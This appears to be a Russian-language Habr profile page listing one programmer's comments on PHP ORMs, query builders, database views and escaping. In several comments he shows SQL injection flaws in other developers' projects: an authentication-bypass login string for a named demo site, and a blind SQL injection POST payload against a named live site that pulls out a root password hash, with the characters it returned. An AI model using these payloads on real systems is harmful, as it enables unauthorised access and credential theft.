Как стать автором
Обновить
66
0.2
Михаил @michael_v89

Программист

Отправить сообщение
Вас же не смущает конструкция «default: blah-blah-blah; break;». Ветки оператора switch пишутся отдельно друг от друга, и выглядят как отдельные не связанные конструкции. Почему бы и if так не писать?
как вы себе представляете это с ORM?

Хм, а я представляю (да, мне делать нефиг)). Там запрос-то не сложный, 2 таблицы. Правда тут в основном Query Builder.
Скрытый текст
$select = "
    TransportReturnOrders.ID,
    ISNULL(TransportReturnOrders.ExpectedDeliveryDate, TransportReturnOrders.ReceivingOn) AS ReceivingOn,
    ReturnOrderItems.sourceLocationName,
    ReturnOrderItems.targetLocationName,
    ReturnOrderItems.ItemDescription,
    SUM(ISNULL(ReturnOrderItems.quantityShipped, 0)) as EstimatedQuantity,
    SUM(ISNULL(ReturnOrderItems.quantityReceived, 0)) as ActualQuantity,
    SUM(ISNULL(ReturnOrderItems.quantityReceived, 0) - ISNULL(ReturnOrderItems.quantityShipped, 0)) as Variance
";

$groupBy = "
    TransportReturnOrders.ID,
    ReceivingOn,
    ReturnOrderItems.sourceLocationName,
    ReturnOrderItems.targetLocationName,
    ReturnOrderItems.ItemDescription
";

$orderBy = "
    ReturnOrderItems.ItemDescription,
    ReturnOrderItems.sourceLocationName,
    ReceivingOn,
    ReturnOrderItems.targetLocationName
";


$query = ViewReturnOrderItems::find();

$query->select($select);
$query->groupBy($groupBy);
$query->orderBy($orderBy);


$query->joinWith('TransportReturnOrders');

$statusList = [
    Status::ReceivingStatus,
    Status::ReceivedStatus,
    Status::PreliminaryReceivedStatus
];
$query->where('IN', 'TransportReturnOrders.Status', $statusList);


$dateExpr = new DBExpression('ISNULL(
    TransportReturnOrders.ExpectedDeliveryDate,
    TransportReturnOrders.ReceivingOn
)');
$query->andWhere('BETWEEN', $dateExpr, $filter->startDate, $filter->endDate);


if ($filter->ItemsID != 0) {
    $query->andWhere(['ReturnOrderItems.ItemsID' => $filter->ItemsID]);
}

if ($filter->sourceLocationID) {
    $query->andWhere([
        'ReturnOrderItems.sourceLocationID' => $filter->sourceLocationID
    ]);
} else {
    if ($filter->username) {
        $locationList = new Managers.UserRole()
                .GetLocationsForCustomerUser($filter->username);

        $query->andWhere('IN', 'ReturnOrderItems.sourceLocationID', $locationList);
    }
}

if ($filter->targetLocationID != 0) {
    $query->andWhere(['ReturnOrderItems.targetLocationID' => @targetLocationID]);
}


$dbResult = $query->asArray()->findAll();



А дальше просто программным кодом без всякого SQL.
Скрытый текст
$splittedDbResult = [];
foreach ($dbResult as $row) {
    $splittedDbResult[$row['ItemName']][$row['sourceLocationName']][] = $row;
}

foreach ($splittedDbResult as $itemName => $locationData) {
    $TotalEstimatedQuantity = 0;
    $TotalActualQuantity = 0;
    $TotalVariance = 0;
    
    foreach ($locationData as $sourceLocationName => $locationRows) {
        $SubTotalEstimatedQuantity = 0;
        $SubTotalActualQuantity = 0;
        $SubTotalVariance = 0;
        
        foreach ($locationRows as $row) {
            $result[] = $row;
            
            $SubTotalEstimatedQuantity += $row['EstimatedQuantity'];
            $SubTotalActualQuantity += $row['ActualQuantity'];
            $SubTotalVariance += $row['Variance'];
        }

        $data = [
            null, 'Sub Total', $sourceLocationName, '',  '',
            $SubTotalEstimatedQuantity, $SubTotalActualQuantity, $SubTotalVariance,
        ];
        $result[] = $data;

        $TotalEstimatedQuantity += $SubTotalEstimatedQuantity;
        $TotalActualQuantity += $SubTotalActualQuantity;
        $TotalVariance += $SubTotalVariance;
    }

    $data = [
        null, 'Total', '', '', $itemName,
        $TotalEstimatedQuantity, $TotalActualQuantity, $TotalVariance,
    ];
    $result[] = $data;
}

в adodb есть специальная функция экранирования для всех типов БД

Какая разница, стандартная она или из adodb. Вызывать ее все равно надо каждый раз вручную.

это просто sql че надо то и пишите

Вы не поняли вопроса, он связан с первым. Функции типа where_equal() и where_like() разделяют имя поля и значение, чтобы одно заключить в обратные кавычки, а второе в плейсхолдер запроса. Сколько нужно написать кода при использовании вашей ORM и специальной функции экранирования adodb для генерации запроса с LIKE без SQL-инъекций? И во сколько раз он будет больше приведенного вами для idiorm?

Оно строится поверх ORM

А ваше требует ADOdb, в которой 218 файлов размером под 2 мегабайта. А тут рабочий файл всего 1, размером 90 кб.
… В реальном фреймворке есть отдельный класс синглтон https://github.com/leon-mbs/zippy/blob/master/zcl/db/db.php
Объяснять вам бесполезно -сами наберетесь опыта столкнувшишь с более менее серьезным проектом

А у вас «ЧП Петров» как из $_GET-параметров в запрос попадает? Руками каждый раз экранируете?

Ради интереса посмотрел, как у вас параметры в запрос попадают. Никак вы их не экранируете.
На гитхабе у вас есть проект zippyerp, там ссылка на сайт проекта, там ссылка на демо.

Логин: test' OR userpass = 'admin
Пароль: admin

Нажать кнопку «Ввод» мышкой. (кстати, почему?)

https://github.com/leon-mbs/zippyerp/blob/master/src/www/system/pages/userlogin.php#L42
https://github.com/leon-mbs/zippyerp/blob/master/src/www/system/helper.php#L23
(и чуть ниже на 27 строке, прямое сравнение с переданным паролем).

Причем при регистрации у вас пароль шифруется, но при логине можно указать не сам пароль, а его хеш. Утекла база с хешами, и даже ломать не надо.
— А у вас «ЧП Петров» как из $_GET-параметров в запрос попадает? Руками каждый раз экранируете?
— А если надо «LIKE», а не "="?
— «select(*)» необязательно вызывать
— Вы сравниваете Query Builder и Active Record. Сравнивайте тогда уж с Active Record от того же автора. Там кстати связи есть, что тоже преимущество.
Цепочка вызовов:
https://github.com/torrison/inside/blob/master/application/controllers/inside_pdg_ajax.php#L29
https://github.com/torrison/inside/blob/master/application/libraries/inside_lib.php#L93
https://github.com/torrison/inside/blob/master/application/models/inside_model.php#L90

Хотя могли бы и сами поискать) А 2 года назад не надо было избегать SQL-инъекций? PDO с параметрами уже давно появился.
Ага, куча кода для банального CRUD. Да еще и SQL-инъекция, что еще раз доказывает, что экранировать данные вручную нежелательно.

Скрытый текст
http://inside.ikiev.biz/inside/table/users/

$.post('/inside_pdg_ajax/',
    'pdg_table=users&pdg_order=(CASE WHEN (SELECT ASCII(SUBSTRING(password, 1, 1)) FROM users where username = 0x726F6F74) = 0x32 THEN id ELSE email END)&pdg_asc=desc&active=1&pdg_limit=100&pdg_fsearch=&pdg_fkey=&pdg_page=1'
).success(function(data){ $('#inside_terminal').html(data); });


Первые 2 символа поля password пользователя root: 2d
А вы, конечно же, работаете ради конечного потребителя и всегда выпускаете хороший качественный код, в котором нет ошибок?)
Большинство ошибок из разряда «ой, мне так не нравится». При этом почему-то не учитывается, что некоторые программные продукты довольно большие, и в них много функций, которые работают, и для выполнения которых они и создавались. NPM, PayPal, Visual Studio. Амперсанд 2 раза проэкранировался, ай-яй-яй)
Я нигде не писал, что положено использовать ORM. Даже наоборот: «Наличие/отсутствие ORM на структуру таблиц не влияет». Это верно для 99.9% случаев (ок, 80%). User — он в любом приложении User.
Ладно, литературу вы почему-то привести не желаете, может какой-нибудь пример из практики приведете?
Зачем переделывать БД? Таблицы одинаковые для любого приложения. Единственное это если вы вдруг решили из мобильного клиента коннектиться напрямую к базе, и хотите через представления ограничить права пользователю. По-моему, это слишком редкий случай, а вы там выше писали «ориентируюсь на большинство обычных задач которые нужны повседневно». А вообще в таких случаях для мобильного приложения делается API.

Кстати, не подскажете ссылки на материалы о том, что положено проектировать хранилища данных через представления?)
Я тоже напишу его один раз если он не вписывается в существующие представления.

Только вы еще и запросы для представлений напишете, и поддерживать их будете.

Никто не проектирует БД в зависимости от того какой ORM в приложении

Никто не проектирует с точки зрения «а еще могут и руками напрямую полезть». Вернее, может кто-то и проектирует, но делать так не надо.

Проектирование БД и навешивание представлений на спроектированную БД — это не одно и то же. Наличие/отсутствие ORM на структуру таблиц не влияет. Вопрос в том, зачем использовать представления в веб-приложении.
(* не дописал)
Пользователь, подключающийся к БД, один, программный код один, запрос с джойнами генерируется ORM либо пишется один раз, права пользователя приложения удобнее проверять кодом на серверном языке, а не в SQL.
Представления иногда оправданы для десктопных приложений. В веб-приложениях они используются очень редко, потому что — а зачем?
А для страницы просмотра заказа делать другое представление со своими джойнами? И при добавлении/удалении полей делать ALTER VIEW для каждого?

Делается какой-нибудь метод with($relationName), который после основного запроса делает второй к таблице пользователей с условием WHERE id IN ($userIDs), и заполняет связь user у всех $orders. Без лишних джойнов.
Например, есть сущность «Заказ», у него есть поле user_id. Как вы выводите имя пользователя в списке заказов?
А вы хотите чтобы вам 10 человек одно и то же написали? Ну я, например, тоже не понял. У вас нет ничего нового ни в идее, ни в реализации. Генерировать SQL из ассоциативного массива это первая мысль, которая появляется при изучении работы с БД в PHP, а маппинг таблиц на сущности есть практически в любом фреймворке.
Подозреваю, что у вас поле в БД тоже называется profile (а надо называть profile_id), и при обращении читается прямое значение атрибута, а не вызывается геттер для связи.
Слышал, что они вроде как собираются переписать с Битрикса. Не знаю, правда или нет.
Судя по JSON-ответам, у всех этих сайтов один и тот же движок, IP адреса тоже похожи. Значение обрезается до 2 цифр после запятой без правильного пересчета. Пользуйтесь другими обменниками. По-моему, статью писать не стоило.

Информация

В рейтинге
2 608-й
Откуда
Россия
Зарегистрирован
Активность